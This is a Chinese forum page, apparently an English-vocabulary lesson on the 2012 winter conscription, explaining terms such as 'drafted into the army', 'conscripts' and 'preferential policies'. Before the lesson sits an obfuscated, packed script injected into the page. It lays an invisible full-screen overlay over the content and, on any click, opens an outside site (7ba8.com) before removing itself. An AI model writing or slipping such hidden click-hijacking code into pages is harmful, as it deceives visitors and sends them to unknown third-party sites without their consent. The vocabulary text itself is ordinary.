时事词汇:冬季征兵 winter conscription

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>2012年冬季征兵工作从11月1日起全面展开。为了吸引高学历人才报名参军,近年来,国家相继出台多项优惠措施,鼓励大学生参军入伍。
请看相关报道:
China will draft more well-educated young people into the army, according to a national conscription tele-conference.
据全国征兵电话会议消息,我国将吸收更多高学历年轻人入伍。

To draft someone into the army就是“征某人入伍”,“应征入伍”自然就是be/get drafted into the army。新闻报道中常用winter conscription来表示“冬季征兵”,应征入伍的人叫conscripts。

从高校招募的students-turned compulsory servicemen(大学生义务兵)均可享受一定的preferential policies(优惠政策),包括compensation to college tuition fees(补偿学费)、free vocational education for demobilized soldiers(退役后免费职业教育)等。退役后还统一发放gratuity(退役金)。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部